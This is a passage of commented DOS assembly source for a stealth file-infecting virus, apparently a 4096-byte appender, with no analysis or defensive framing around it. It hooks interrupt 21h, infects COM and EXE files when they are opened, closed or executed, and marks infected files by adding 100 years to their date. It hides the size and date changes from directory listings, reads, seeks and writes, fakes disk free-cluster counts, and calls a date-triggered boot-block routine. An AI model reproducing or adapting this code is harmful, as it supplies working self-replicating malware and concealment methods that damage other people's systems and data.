                mov     bp,sp                   ; set up new stack frame
                call    saveregs
                call    swapvirint21            ; reenable DOS int 21h handler
                call    disableBREAK
                call    restoreregs
                call    _pushall
                push    bx
                mov     bx,offset int21commands ; bx->command table
scanforcommand:
                cmp     ah,cs:[bx]              ; scan for the function
                jne     findnextcommand         ; code/subroutine combination
                mov     bx,cs:[bx+1]
                xchg    bx,[bp-14h]
                cld
                retn
findnextcommand:
                add     bx,3                    ; go to next command
                cmp     bx,offset endcommands   ; in the table until
                jb      scanforcommand          ; there are no more
                pop     bx
exitotherint21:
                call    restoreBREAK
                in      al,21h                  ; save IMR
                mov     cs:saveIMR,al
                mov     al,0FFh                 ; disable all interrupts
                out     21h,al
                mov     byte ptr cs:instructionstotrace,4 ; trace into
                mov     byte ptr cs:tracemode,1           ; oldint21
                call    replaceint1             ; set virus int 1 handler
                call    _popall
                push    ax
                mov     ax,cs:int21flags        ; get the flags
                or      ax,100h                 ; turn on the trap flag
                push    ax                      ; and set it in motion
                popf
                pop     ax
                pop     bp
                jmp     dword ptr cs:oldint21   ; chain back to original int
                                                ; 21h handler -- do not return

exitint21:
                call    saveregs
                call    restoreBREAK
                call    swapvirint21
                call    restoreregs
                pop     bp
                push    bp                      ; set up stack frame
                mov     bp,sp
                push    word ptr cs:int21flags  ; get the flags and put
                pop     word ptr [bp+6]         ; them on the stack for
                pop     bp                      ; the iret
                iret

FCBfindfirstnext:
                call    _popall
                call    callint21
                or      al,al                   ; Found any files?
                jnz     exitint21               ; guess not
                call    _pushall
                call    getdisktransferaddress
                mov     al,0
                cmp     byte ptr [bx],0FFh      ; Extended FCB?
                jne     findfirstnextnoextendedFCB
                mov     al,[bx+6]
                add     bx,7                    ; convert to normal FCB
findfirstnextnoextendedFCB:
                and     cs:hide_size,al
                test    byte ptr [bx+1Ah],80h   ; check year bit for virus
                jz      _popall_then_exitint21  ; infection tag. exit if so
                sub     byte ptr [bx+1Ah],0C8h  ; alter file date
                cmp     byte ptr cs:hide_size,0
                jne     _popall_then_exitint21
                sub     word ptr [bx+1Dh],1000h ; hide file size
                sbb     word ptr [bx+1Fh],0
_popall_then_exitint21:
                call    _popall
                jmp     short exitint21

FCBopenfile:
                call    _popall
                call    callint21               ; chain to original int 21h
                call    _pushall
                or      al,al                   ; 0 = success
                jnz     _popall_then_exitint21
                mov     bx,dx
                test    byte ptr [bx+15h],80h   ; check if infected yet
                jz      _popall_then_exitint21
                sub     byte ptr [bx+15h],0C8h  ; restore date
                sub     word ptr [bx+10h],1000h ; and hide file size
                sbb     byte ptr [bx+12h],0
                jmp     short _popall_then_exitint21

randomFCBblockread:
                jcxz    go_exitotherint21       ; reading any blocks?

randomFCBread:
                mov     bx,dx
                mov     si,[bx+21h]             ; check if reading first
                or      si,[bx+23h]             ; bytes
                jnz     go_exitotherint21
                jmp     short continueFCBread

sequentialFCBread:
                mov     bx,dx
                mov     ax,[bx+0Ch]             ; check if reading first
                or      al,[bx+20h]             ; bytes
                jnz     go_exitotherint21
continueFCBread:
                call    checkFCBokinfect
                jnc     continuecontinueFCBread
go_exitotherint21:
                jmp     exitotherint21
continuecontinueFCBread:
                call    _popall
                call    _pushall
                call    callint21               ; chain to original handler
                mov     [bp-4],ax               ; set the return codes
                mov     [bp-8],cx               ; properly
                push    ds                      ; save FCB pointer
                push    dx
                call    getdisktransferaddress
                cmp     word ptr [bx+14h],1     ; check for EXE infection
                je      FCBreadinfectedfile     ; (IP = 1)
                mov     ax,[bx]                 ; check for COM infection
                add     ax,[bx+2]               ; (checksum = 0)
                add     ax,[bx+4]
                jz      FCBreadinfectedfile
                add     sp,4                    ; no infection, no stealth
                jmp     short _popall_then_exitint21 ; needed
FCBreadinfectedfile:
                pop     dx                      ; restore address of the FCB
                pop     ds
                mov     si,dx
                push    cs
                pop     es
                mov     di,offset tempFCB       ; copy FCB to temporary one
                mov     cx,25h
                rep     movsb
                mov     di,offset tempFCB
                push    cs
                pop     ds
                mov     ax,[di+10h]             ; get old file size
                mov     dx,[di+12h]
                add     ax,100Fh                ; increase by virus size
                adc     dx,0                    ; and round to the nearest
                and     ax,0FFF0h               ; paragraph
                mov     [di+10h],ax             ; insert new file size
                mov     [di+12h],dx
                sub     ax,0FFCh
                sbb     dx,0
                mov     [di+21h],ax             ; set new random record #
                mov     [di+23h],dx
                mov     word ptr [di+0Eh],1     ; record size = 1
                mov     cx,1Ch
                mov     dx,di
                mov     ah,27h                  ; random block read 1Ch bytes
                call    callint21
                jmp     _popall_then_exitint21

FCBgetfilesize:
                push    cs
                pop     es
                mov     si,dx
                mov     di,offset tempFCB       ; copy FCB to temp buffer
                mov     cx,0025h
                repz    movsb
                push    ds
                push    dx
                push    cs
                pop     ds
                mov     dx,offset tempFCB
                mov     ah,0Fh                  ; FCB open file
                call    callint21
                mov     ah,10h                  ; FCB close file
                call    callint21
                test    byte ptr [tempFCB+15h],80h ; check date bit
                pop     si
                pop     ds
                jz      will_exitotherint21     ; exit if not infected
                les     bx,dword ptr cs:[tempFCB+10h] ; get filesize
                mov     ax,es
                sub     bx,1000h                ; hide increase
                sbb     ax,0
                xor     dx,dx
                mov     cx,word ptr cs:[tempFCB+0eh] ; get record size
                dec     cx
                add     bx,cx
                adc     ax,0
                inc     cx
                div     cx
                mov     [si+23h],ax             ; fix random access record #
                xchg    dx,ax
                xchg    bx,ax
                div     cx
                mov     [si+21h],ax             ; fix random access record #
                jmp     _popall_then_exitint21

filenamefindfirstnext:
                and     word ptr cs:int21flags,-2 ; turn off trap flag
                call    _popall
                call    callint21
                call    _pushall
                jnb     filenamefffnOK          ; continue if a file is found
                or      word ptr cs:int21flags,1
                jmp     _popall_then_exitint21

filenamefffnOK:
                call    getdisktransferaddress
                test    byte ptr [bx+19h],80h   ; Check high bit of date
                jnz     filenamefffnfileinfected; Bit set if infected
                jmp     _popall_then_exitint21
filenamefffnfileinfected:
                sub     word ptr [bx+1Ah],1000h ; hide file length increase
                sbb     word ptr [bx+1Ch],0
                sub     byte ptr [bx+19h],0C8h  ; and date change
                jmp     _popall_then_exitint21

createhandle:
                push    cx
                and     cx,7                    ; mask the attributes
                cmp     cx,7                    ; r/o, hidden, & system?
                je      exit_create_handle
                pop     cx
                call    replaceint13and24
                call    callint21               ; chain to original int 21h
                call    restoreint13and24
                pushf
                cmp     byte ptr cs:errorflag,0 ; check if any errors yet
                je      no_errors_createhandle
                popf
will_exitotherint21:
                jmp     exitotherint21
no_errors_createhandle:
                popf
                jc      other_error_createhandle; exit on error
                mov     bx,ax                   ; move handle to bx
                mov     ah,3Eh                  ; Close file
                call    callint21
                jmp     short openhandle
other_error_createhandle:
                or      byte ptr cs:int21flags,1; turn on the trap flag
                mov     [bp-4],ax               ; set the return code properly
                jmp     _popall_then_exitint21
exit_create_handle:
                pop     cx
                jmp     exitotherint21

openhandle:
                call    getcurrentPSP
                call    checkdsdxokinfect
                jc      jmp_exitotherint21
                cmp     byte ptr cs:handlesleft,0 ; make sure there is a free
                je      jmp_exitotherint21        ; entry in the table
                call    setup_infection         ; open the file
                cmp     bx,0FFFFh               ; error?
                je      jmp_exitotherint21      ; if so, exit
                dec     byte ptr cs:handlesleft
                push    cs
                pop     es
                mov     di,offset handletable
                mov     cx,14h
                xor     ax,ax                   ; find end of the table
                repne   scasw
                mov     ax,cs:currentPSP        ; put the PSP value and the
                mov     es:[di-2],ax            ; handle # in the table
                mov     es:[di+26h],bx
                mov     [bp-4],bx               ; put handle # in return code
handleopenclose_exit:
                and     byte ptr cs:int21flags,0FEh ; turn off the trap flag
                jmp     _popall_then_exitint21
jmp_exitotherint21:
                jmp     exitotherint21

handleclosefile:
                push    cs
                pop     es
                call    getcurrentPSP
                mov     di,offset handletable
                mov     cx,14h                  ; 14h entries max
                mov     ax,cs:currentPSP        ; search for calling PSP
scanhandle_close:
                repne   scasw
                jnz     handlenotfound          ; handle not trapped
                cmp     bx,es:[di+26h]          ; does the handle correspond?
                jne     scanhandle_close        ; if not, find another handle
                mov     word ptr es:[di-2],0    ; otherwise, clear handle
                call    infect_file
                inc     byte ptr cs:handlesleft ; fix handles left counter
                jmp     short handleopenclose_exit ; and exit
handlenotfound:
                jmp     exitotherint21

getdisktransferaddress:
                push    es
                mov     ah,2Fh                  ; Get disk transfer address
                call    callint21               ; to es:bx
                push    es
                pop     ds                      ; mov to ds:bx
                pop     es
                retn
execute:
                or      al,al                   ; load and execute?
                jz      loadexecute             ; yepper!
                jmp     checkloadnoexecute      ; otherwise check if
                                                ; load/no execute
loadexecute:
                push    ds                      ; save filename
                push    dx
                mov     word ptr cs:parmblock,bx; save parameter block and
                mov     word ptr cs:parmblock+2,es; move to ds:si
                lds     si,dword ptr cs:parmblock
                mov     di,offset copyparmblock ; copy the parameter block
                mov     cx,0Eh
                push    cs
                pop     es
                rep     movsb
                pop     si                      ; copy the filename
                pop     ds                      ; to the buffer
                mov     di,offset copyfilename
                mov     cx,50h
                rep     movsb
                mov     bx,0FFFFh
                call    allocate_memory         ; allocate available memory
                call    _popall
                pop     bp                      ; save the parameters
                pop     word ptr cs:saveoffset  ; on the stack
                pop     word ptr cs:savesegment
                pop     word ptr cs:int21flags
                mov     ax,4B01h                ; load/no execute
                push    cs                      ; ds:dx -> file name
                pop     es                      ; es:bx -> parameter block
                mov     bx,offset copyparmblock
                pushf                           ; perform interrupt 21h
                call    dword ptr cs:oldint21
                jnc     continue_loadexecute    ; continue if no error
                or      word ptr cs:int21flags,1; turn on trap flag
                push    word ptr cs:int21flags  ; if error
                push    word ptr cs:savesegment ; restore stack
                push    word ptr cs:saveoffset
                push    bp                      ; restore the stack frame
                mov     bp,sp                   ; and restore ES:BX to
                les     bx,dword ptr cs:parmblock ; point to the parameter
                jmp     exitint21               ; block
continue_loadexecute:
                call    getcurrentPSP
                push    cs
                pop     es
                mov     di,offset handletable   ; scan the handle table
                mov     cx,14h                  ; for the current PSP's
scanhandle_loadexecute:                         ; handles
                mov     ax,cs:currentPSP
                repne   scasw
                jnz     loadexecute_checkEXE
                mov     word ptr es:[di-2],0    ; clear entry in handle table
                inc     byte ptr cs:handlesleft ; fix handlesleft counter
                jmp     short scanhandle_loadexecute
loadexecute_checkEXE:
                lds     si,dword ptr cs:origcsip
                cmp     si,1                    ; Check if EXE infected
                jne     loadexecute_checkCOM
                mov     dx,word ptr ds:oldheader+16h ; get initial CS
                add     dx,10h                  ; adjust for PSP
                mov     ah,51h                  ; Get current PSP segment
                call    callint21
                add     dx,bx                   ;adjust for start load segment
                mov     word ptr cs:origcsip+2,dx
                push    word ptr ds:oldheader+14h       ; save old IP
                pop     word ptr cs:origcsip
                add     bx,10h                          ; adjust for the PSP
                add     bx,word ptr ds:oldheader+0Eh    ; add old SS
                mov     cs:origss,bx
                push    word ptr ds:oldheader+10h       ; old SP
                pop     word ptr cs:origsp
                jmp     short perform_loadexecute
loadexecute_checkCOM:
                mov     ax,[si]                 ; Check if COM infected
                add     ax,[si+2]
                add     ax,[si+4]
                jz      loadexecute_doCOM       ; exit if already infected
                push    cs                      ; otherwise check to see
                pop     ds                      ; if it is suitable for
                mov     dx,offset copyfilename  ; infection
                call    checkdsdxokinfect
                call    setup_infection
                inc     byte ptr cs:hideclustercountchange
                call    infect_file             ; infect the file
                dec     byte ptr cs:hideclustercountchange
perform_loadexecute:
                mov     ah,51h                  ; Get current PSP segment
                call    callint21
                call    saveregs
                call    restoreBREAK
                call    swapvirint21
                call    restoreregs
                mov     ds,bx                   ; ds = current PSP segment
                mov     es,bx                   ; es = current PSP segment
                push    word ptr cs:int21flags  ; restore stack parameters
                push    word ptr cs:savesegment
                push    word ptr cs:saveoffset
                pop     word ptr ds:[0Ah]       ; Set terminate address in PSP
                pop     word ptr ds:[0Ch]       ; to return address found on
                                                ; the stack
                                                ; (int 21h caller CS:IP)
                push    ds
                lds     dx,dword ptr ds:[0Ah]   ; Get terminate address in PSP
                mov     al,22h                  ; Set terminate address to it
                call    setvect
                pop     ds
                popf
                pop     ax
                mov     ss,cs:origss            ; restore the stack
                mov     sp,cs:origsp            ; and
                jmp     dword ptr cs:origcsip   ; perform the execute

loadexecute_doCOM:
                mov     bx,[si+1]               ; restore original COM file
                mov     ax,word ptr ds:[bx+si-261h]
                mov     [si],ax
                mov     ax,word ptr ds:[bx+si-25Fh]
                mov     [si+2],ax
                mov     ax,word ptr ds:[bx+si-25Dh]
                mov     [si+4],ax
                jmp     short perform_loadexecute
checkloadnoexecute:
                cmp     al,1
                je      loadnoexecute
                jmp     exitotherint21
loadnoexecute:
                or      word ptr cs:int21flags,1; turn on trap flag
                mov     word ptr cs:parmblock,bx; save pointer to parameter
                mov     word ptr cs:parmblock+2,es ; block
                call    _popall
                call    callint21               ; chain to int 21h
                call    _pushall
                les     bx,dword ptr cs:parmblock ; restore pointer to
                                                ; parameter block
                lds     si,dword ptr es:[bx+12h]; get cs:ip on execute return
                jc      exit_loadnoexecute
                and     byte ptr cs:int21flags,0FEh ; turn off trap flag
                cmp     si,1                    ; check for EXE infection
                je      loadnoexecute_EXE_already_infected
                                                ; infected if initial IP = 1
                mov     ax,[si]                 ; check for COM infection
                add     ax,[si+2]               ; infected if checksum = 0
                add     ax,[si+4]
                jnz     perform_the_execute
                mov     bx,[si+1]               ; get jmp location
                mov     ax,ds:[bx+si-261h]      ; restore original COM file
                mov     [si],ax
                mov     ax,ds:[bx+si-25Fh]
                mov     [si+2],ax
                mov     ax,ds:[bx+si-25Dh]
                mov     [si+4],ax
                jmp     short perform_the_execute
loadnoexecute_EXE_already_infected:
                mov     dx,word ptr ds:oldheader+16h ; get entry CS:IP
                call    getcurrentPSP
                mov     cx,cs:currentPSP
                add     cx,10h                  ; adjust for PSP
                add     dx,cx
                mov     es:[bx+14h],dx          ; alter the entry point CS
                mov     ax,word ptr ds:oldheader+14h
                mov     es:[bx+12h],ax
                mov     ax,word ptr ds:oldheader+0Eh ; alter stack
                add     ax,cx
                mov     es:[bx+10h],ax
                mov     ax,word ptr ds:oldheader+10h
                mov     es:[bx+0Eh],ax
perform_the_execute:
                call    getcurrentPSP
                mov     ds,cs:currentPSP
                mov     ax,[bp+2]               ; restore length as held in
                mov     word ptr ds:oldheader+6,ax
                mov     ax,[bp+4]               ; the EXE header
                mov     word ptr ds:oldheader+8,ax
exit_loadnoexecute:
                jmp     _popall_then_exitint21

getDOSversion:
                mov     byte ptr cs:hide_size,0
                mov     ah,2Ah                  ; Get date
                call    callint21
                cmp     dx,916h                 ; September 22?
                jb      exitDOSversion          ; leave if not
                call    writebootblock          ; this is broken
exitDOSversion:
                jmp     exitotherint21

infect_file:
                call    replaceint13and24
                call    findnextparagraphboundary
                mov     byte ptr ds:EXEflag,1   ; assume is an EXE file
                cmp     word ptr ds:readbuffer,'ZM' ; check here for regular
                je      clearlyisanEXE              ; EXE header
                cmp     word ptr ds:readbuffer,'MZ' ; check here for alternate
                je      clearlyisanEXE              ; EXE header
                dec     byte ptr ds:EXEflag         ; if neither, assume is a
                jz      try_infect_com              ; COM file
clearlyisanEXE:
                mov     ax,ds:lengthinpages     ; get file size in pages
                shl     cx,1                    ; and convert it to
                mul     cx                      ; bytes
                add     ax,200h                 ; add 512 bytes
                cmp     ax,si
                jb      go_exit_infect_file
                mov     ax,ds:minmemory         ; make sure min and max memory
                or      ax,ds:maxmemory         ; are not both zero
                jz      go_exit_infect_file
                mov     ax,ds:filesizelow       ; get filesize in dx:ax
                mov     dx,ds:filesizehigh
                mov     cx,200h                 ; convert to pages
                div     cx
                or      dx,dx                   ; filesize multiple of 512?
                jz      filesizemultiple512     ; then don't increment #
                inc     ax                      ; pages
filesizemultiple512:
                mov     ds:lengthinpages,ax     ; put in new values for length
                mov     ds:lengthMOD512,dx      ; fields
                cmp     word ptr ds:initialIP,1 ; check if already infected
                je      exit_infect_file
                mov     word ptr ds:initialIP,1 ; set new entry point
                mov     ax,si                   ; calculate new entry point
                sub     ax,ds:headersize        ; segment
                mov     ds:initialcs,ax         ; put this in for cs
                add     word ptr ds:lengthinpages,8 ; 4K more
                mov     ds:initialSS,ax         ; put entry segment in for SS
                mov     word ptr ds:initialSP,1000h ; set stack @ 1000h
                call    finish_infection
go_exit_infect_file:
                jmp     short exit_infect_file
try_infect_com:
                cmp     si,0F00h                ; make sure file is under
                jae     exit_infect_file        ; F00h paragraphs or else
                                                ; it will be too large once it
                                                ; is infected
                mov     ax,ds:readbuffer        ; first save first 6 bytes
                mov     word ptr ds:oldheader,ax
                add     dx,ax
                mov     ax,ds:readbuffer+2
                mov     word ptr ds:oldheader+2,ax
                add     dx,ax
                mov     ax,ds:readbuffer+4
                mov     word ptr ds:oldheader+4,ax
                add     dx,ax                   ; exit if checksum = 0
                jz      exit_infect_file        ; since then it is already
                                                ; infected
                mov     cl,0E9h                 ; encode jmp instruction
                mov     byte ptr ds:readbuffer,cl
                mov     ax,10h                  ; find file size
                mul     si
                add     ax,offset entervirus-3  ; calculate offset of jmp
                mov     word ptr ds:readbuffer+1,ax ; encode it
                mov     ax,ds:readbuffer        ; checksum it to 0
                add     ax,ds:readbuffer+2
                neg     ax
                mov     ds:readbuffer+4,ax
                call    finish_infection
exit_infect_file:
                mov     ah,3Eh                  ; Close file
                call    callint21
                call    restoreint13and24
                retn


findnextparagraphboundary:
                push    cs
                pop     ds
                mov     ax,5700h                ; Get file time/date
                call    callint21
                mov     ds:filetime,cx
                mov     ds:filedate,dx
                mov     ax,4200h                ; Go to beginning of file
                xor     cx,cx
                mov     dx,cx
                call    callint21
                mov     ah,3Fh                  ; Read first 1Ch bytes
                mov     cl,1Ch
                mov     dx,offset readbuffer
                call    callint21
                mov     ax,4200h                ; Go to beginning of file
                xor     cx,cx
                mov     dx,cx
                call    callint21
                mov     ah,3Fh                  ; Read first 1Ch bytes
                mov     cl,1Ch
                mov     dx,offset oldheader
                call    callint21
                mov     ax,4202h                ; Go to end of file
                xor     cx,cx
                mov     dx,cx
                call    callint21
                mov     ds:filesizelow,ax       ; save filesize
                mov     ds:filesizehigh,dx
                mov     di,ax
                add     ax,0Fh                  ; round to nearest paragraph
                adc     dx,0                    ; boundary
                and     ax,0FFF0h
                sub     di,ax                   ; di=# bytes to next paragraph
                mov     cx,10h                  ; normalize filesize
                div     cx                      ; to paragraphs
                mov     si,ax                   ; si = result
                retn


finish_infection:
                mov     ax,4200h                ; Go to beginning of file
                xor     cx,cx
                mov     dx,cx
                call    callint21
                mov     ah,40h                  ; Write new header to file
                mov     cl,1Ch
                mov     dx,offset readbuffer
                call    callint21
                mov     ax,10h                  ; convert paragraph boundary
                mul     si                      ; to a byte value
                mov     cx,dx
                mov     dx,ax
                mov     ax,4200h                ; go to first paragraph
                call    callint21               ; boundary at end of file
                xor     dx,dx
                mov     cx,1000h
                add     cx,di
                mov     ah,40h                  ; Concatenate virus to file
                call    callint21
                mov     ax,5701h                ; Restore file time/date
                mov     cx,ds:filetime
                mov     dx,ds:filedate
                test    dh,80h                  ; check for infection bit
                jnz     highbitset
                add     dh,0C8h                 ; alter if not set yet
highbitset:
                call    callint21
                cmp     byte ptr ds:DOSversion,3; if not DOS 3+, then
                jb      exit_finish_infection   ; do not hide the alteration
                                                ; in cluster count
                cmp     byte ptr ds:hideclustercountchange,0
                je      exit_finish_infection
                push    bx
                mov     dl,ds:filedrive
                mov     ah,32h                  ; Get drive parameter block
                call    callint21               ; for drive dl
                mov     ax,cs:numfreeclusters
                mov     [bx+1Eh],ax             ; alter free cluster count
                pop     bx
exit_finish_infection:
                retn


checkFCBokinfect:
                call    saveregs
                mov     di,dx
                add     di,0Dh                  ; skip to extension
                push    ds
                pop     es
                jmp     short performchecksum   ; and check checksum for valid
                                                ; checksum

checkdsdxokinfect:
                call    saveregs
                push    ds
                pop     es
                mov     di,dx
                mov     cx,50h                  ; max filespec length
                xor     ax,ax
                mov     bl,0                    ; default drive
                cmp     byte ptr [di+1],':'     ; Is there a drive spec?
                jne     ondefaultdrive          ; nope, skip it
                mov     bl,[di]                 ; yup, get drive
                and     bl,1Fh                  ; and convert to number
ondefaultdrive:
                mov     cs:filedrive,bl
                repne   scasb                   ; find terminating 0 byte
performchecksum:
                mov     ax,[di-3]
                and     ax,0DFDFh               ; convert to uppercase
                add     ah,al
                mov     al,[di-4]
                and     al,0DFh                 ; convert to uppercase
                add     al,ah
                mov     byte ptr cs:EXEflag,0   ; assume COM file
                cmp     al,0DFh                 ; COM checksum?
                je      COMchecksum
                inc     byte ptr cs:EXEflag     ; assume EXE file
                cmp     al,0E2h                 ; EXE checksum?
                jne     otherchecksum
COMchecksum:
                call    restoreregs
                clc                             ; mark no error
                retn
otherchecksum:
                call    restoreregs
                stc                             ; mark error
                retn


getcurrentPSP:
                push    bx
                mov     ah,51h                  ; Get current PSP segment
                call    callint21
                mov     cs:currentPSP,bx        ; store it
                pop     bx
                retn


setup_infection:
                call    replaceint13and24
                push    dx
                mov     dl,cs:filedrive
                mov     ah,36h                  ; Get disk free space
                call    callint21
                mul     cx                      ; ax = bytes per cluster
                mul     bx                      ; dx:ax = bytes free space
                mov     bx,dx
                pop     dx
                or      bx,bx                   ; less than 65536 bytes free?
                jnz     enough_free_space       ; hopefully not
                cmp     ax,4000h                ; exit if less than 16384
                jb      exit_setup_infection    ; bytes free
enough_free_space:
                mov     ax,4300h                ; Get file attributes
                call    callint21
                jc      exit_setup_infection    ; exit on error
                mov     di,cx                   ; di = attributes
                xor     cx,cx
                mov     ax,4301h                ; Clear file attributes
                call    callint21
                cmp     byte ptr cs:errorflag,0 ; check for errors
                jne     exit_setup_infection
                mov     ax,3D02h                ; Open file read/write
                call    callint21
                jc      exit_setup_infection    ; exit on error
                mov     bx,ax                   ; move handle to bx
                                                ; xchg bx,ax is superior
                mov     cx,di
                mov     ax,4301h                ; Restore file attributes
                call    callint21
                push    bx
                mov     dl,cs:filedrive         ; Get file's drive number
                mov     ah,32h                  ; Get drive parameter block
                call    callint21               ; for disk dl
                mov     ax,[bx+1Eh]             ; Get free cluster count
                mov     cs:numfreeclusters,ax   ; and save it
                pop     bx                      ; return handle
                call    restoreint13and24
                retn
exit_setup_infection:
                xor     bx,bx
                dec     bx                      ; return bx=-1 on error
                call    restoreint13and24
                retn


checkforinfection:
                push    cx
                push    dx
                push    ax
                mov     ax,4400h                ; Get device information
                call    callint21               ; (set hide_size = 2)
                xor     dl,80h
                test    dl,80h                  ; Character device?  If so,
                jz      exit_checkforinfection  ; exit; cannot be infected
                mov     ax,5700h                ; Otherwise get time/date
                call    callint21
                test    dh,80h                  ; Check year bit for infection
exit_checkforinfection:
                pop     ax
                pop     dx
                pop     cx
                retn

obtainfilesize:
                call    saveregs
                mov     ax,4201h                ; Get current file position
                xor     cx,cx
                xor     dx,dx
                call    callint21
                mov     cs:curfileposlow,ax
                mov     cs:curfileposhigh,dx
                mov     ax,4202h                ; Go to end of file
                xor     cx,cx
                xor     dx,dx
                call    callint21
                mov     cs:filesizelow,ax
                mov     cs:filesizehigh,dx
                mov     ax,4200h                ; Return to file position
                mov     dx,cs:curfileposlow
                mov     cx,cs:curfileposhigh
                call    callint21
                call    restoreregs
                retn

getsetfiletimedate:
                or      al,al                   ; Get time/date?
                jnz     checkifsettimedate      ; if not, see if Set time/date
                and     word ptr cs:int21flags,0FFFEh ; turn off trap flag
                call    _popall
                call    callint21
                jc      gettimedate_error       ; exit on error
                test    dh,80h                  ; check year bit if infected
                jz      gettimedate_notinfected
                sub     dh,0C8h                 ; if so, hide change
gettimedate_notinfected:
                jmp     exitint21
gettimedate_error:
                or      word ptr cs:int21flags,1; turn on trap flag
                jmp     exitint21
checkifsettimedate:
                cmp     al,1                    ; Set time/date?
                jne     exit_filetimedate_pointer
                and     word ptr cs:int21flags,0FFFEh ; turn off trap flag
                test    dh,80h                  ; Infection bit set?
                jz      set_yearbitset
                sub     dh,0C8h                 ; clear infection bit
set_yearbitset:
                call    checkforinfection
                jz      set_datetime_nofinagle
                add     dh,0C8h                 ; set infection flag
set_datetime_nofinagle:
                call    callint21
                mov     [bp-4],ax
                adc     word ptr cs:int21flags,0; turn on/off trap flag
                jmp     _popall_then_exitint21  ; depending on result

handlemovefilepointer:
                cmp     al,2
                jne     exit_filetimedate_pointer
                call    checkforinfection
                jz      exit_filetimedate_pointer
                sub     word ptr [bp-0Ah],1000h ; hide file size
                sbb     word ptr [bp-8],0
exit_filetimedate_pointer:
                jmp     exitotherint21

handleread:
                and     byte ptr cs:int21flags,0FEh ; clear trap flag
                call    checkforinfection           ; exit if it is not
                jz      exit_filetimedate_pointer   ; infected -- no need
                                                    ; to do stealthy stuff
                mov     cs:savelength,cx
                mov     cs:savebuffer,dx
                mov     word ptr cs:return_code,0
                call    obtainfilesize
                mov     ax,cs:filesizelow       ; store the file size
                mov     dx,cs:filesizehigh
                sub     ax,1000h                ; get uninfected file size
                sbb     dx,0
                sub     ax,cs:curfileposlow     ; check if currently in
                sbb     dx,cs:curfileposhigh    ; virus code
                jns     not_in_virus_body       ; continue if not
                mov     word ptr [bp-4],0       ; set return code = 0
                jmp     handleopenclose_exit
not_in_virus_body:
                jnz     not_reading_header
                cmp     ax,cx                   ; reading from header?
                ja      not_reading_header
                mov     cs:savelength,ax        ; # bytes into header
not_reading_header:
                mov     dx,cs:curfileposlow
                mov     cx,cs:curfileposhigh
                or      cx,cx                   ; if reading > 64K into file,
                jnz     finish_reading          ; then no problems
                cmp     dx,1Ch                  ; if reading from header, then
                jbe     reading_from_header     ; do stealthy stuff
finish_reading:
                mov     dx,cs:savebuffer
                mov     cx,cs:savelength
                mov     ah,3Fh                  ; read file
                call    callint21
                add     ax,cs:return_code       ; ax = bytes read
                mov     [bp-4],ax               ; set return code properly
                jmp     _popall_then_exitint21
reading_from_header:
                mov     si,dx
                mov     di,dx
                add     di,cs:savelength
                cmp     di,1Ch                  ; reading all of header?
                jb      read_part_of_header     ; nope, calculate how much
                xor     di,di
                jmp     short do_read_from_header
read_part_of_header:
                sub     di,1Ch
                neg     di
do_read_from_header:
                mov     ax,dx
                mov     cx,cs:filesizehigh      ; calculate location in
                mov     dx,cs:filesizelow       ; the file of the virus
                add     dx,0Fh                  ; storage area for the
                adc     cx,0                    ; original 1Ch bytes of
                and     dx,0FFF0h               ; the file
                sub     dx,0FFCh
                sbb     cx,0
                add     dx,ax
                adc     cx,0
                mov     ax,4200h                ; go to that location
                call    callint21
                mov     cx,1Ch
                sub     cx,di
                sub     cx,si
                mov     ah,3Fh                  ; read the original header
                mov     dx,cs:savebuffer
                call    callint21
                add     cs:savebuffer,ax
                sub     cs:savelength,ax
                add     cs:return_code,ax
                xor     cx,cx                   ; go past the virus's header
                mov     dx,1Ch
                mov     ax,4200h
                call    callint21
                jmp     finish_reading          ; and continue the reading

handlewrite:
                and     byte ptr cs:int21flags,0FEh ; turn off trap flag
                call    checkforinfection
                jnz     continue_handlewrite
                jmp     exit_filetimedate_pointer
continue_handlewrite:
                mov     cs:savelength,cx
                mov     cs:savebuffer,dx
                mov     word ptr cs:return_code,0
                call    obtainfilesize
                mov     ax,cs:filesizelow
                mov     dx,cs:filesizehigh
                sub     ax,1000h                ; calculate original file
                sbb     dx,0                    ; size
                sub     ax,cs:curfileposlow     ; writing from inside the
                sbb     dx,cs:curfileposhigh    ; virus?
                js      finish_write            ; if not, we can continue
                jmp     short write_inside_virus; otherwise, fixup some stuff
finish_write:
                call    replaceint13and24
                push    cs
                pop     ds
                mov     dx,ds:filesizelow       ; calculate location in file
                mov     cx,ds:filesizehigh      ; of the virus storage of the
                add     dx,0Fh                  ; original 1Ch bytes of the
                adc     cx,0                    ; file
                and     dx,0FFF0h
                sub     dx,0FFCh
                sbb     cx,0
                mov     ax,4200h
                call    callint21
                mov     dx,offset oldheader
                mov     cx,1Ch
                mov     ah,3Fh                  ; read original header
                call    callint21
                mov     ax,4200h                ; go to beginning of file
                xor     cx,cx
                mov     dx,cx
                call    callint21
                mov     dx,offset oldheader
                mov     cx,1Ch
                mov     ah,40h                  ; write original header to
                call    callint21               ; the file
                mov     dx,0F000h               ; go back 4096 bytes
                mov     cx,0FFFFh               ; from the end of the
                mov     ax,4202h                ; file and
                call    callint21
                mov     ah,40h                  ; truncate the file
                xor     cx,cx                   ; at that position
                call    callint21
                mov     dx,ds:curfileposlow     ; Go to current file position
                mov     cx,ds:curfileposhigh
                mov     ax,4200h
                call    callint21
                mov     ax,5700h                ; Get file time/date
                call    callint21
                test    dh,80h
                jz      high_bit_aint_set
                sub     dh,0C8h                 ; restore file date
                mov     ax,5701h                ; put it onto the disk
                call    callint21
high_bit_aint_set:
                call    restoreint13and24
                jmp     exitotherint21
write_inside_virus:
                jnz     write_inside_header     ; write from start of file?
                cmp     ax,cx
                ja      write_inside_header     ; write from inside header?
                jmp     finish_write

write_inside_header:
                mov     dx,cs:curfileposlow
                mov     cx,cs:curfileposhigh
                or      cx,cx                   ; Reading over 64K?
                jnz     writemorethan1Chbytes
                cmp     dx,1Ch                  ; Reading over 1Ch bytes?
                ja      writemorethan1Chbytes
                jmp     finish_write
writemorethan1Chbytes:
                call    _popall
                call    callint21               ; chain to int 21h
                                                ; (allow write to take place)
                call    _pushall
                mov     ax,5700h                ; Get file time/date
                call    callint21
                test    dh,80h
                jnz     _popall_then_exitint21_
                add     dh,0C8h
                mov     ax,5701h                ; restore file date
                call    callint21
_popall_then_exitint21_:
                jmp     _popall_then_exitint21

                jmp     exitotherint21

int13:
                pop     word ptr cs:int13tempCSIP ; get calling CS:IP off
                pop     word ptr cs:int13tempCSIP+2 ; the stack
                pop     word ptr cs:int13flags
                and     word ptr cs:int13flags,0FFFEh ; turn off trap flag
                cmp     byte ptr cs:errorflag,0 ; any errors yet?
                jne     exitint13error          ; yes, already an error
                push    word ptr cs:int13flags
                call    dword ptr cs:origints
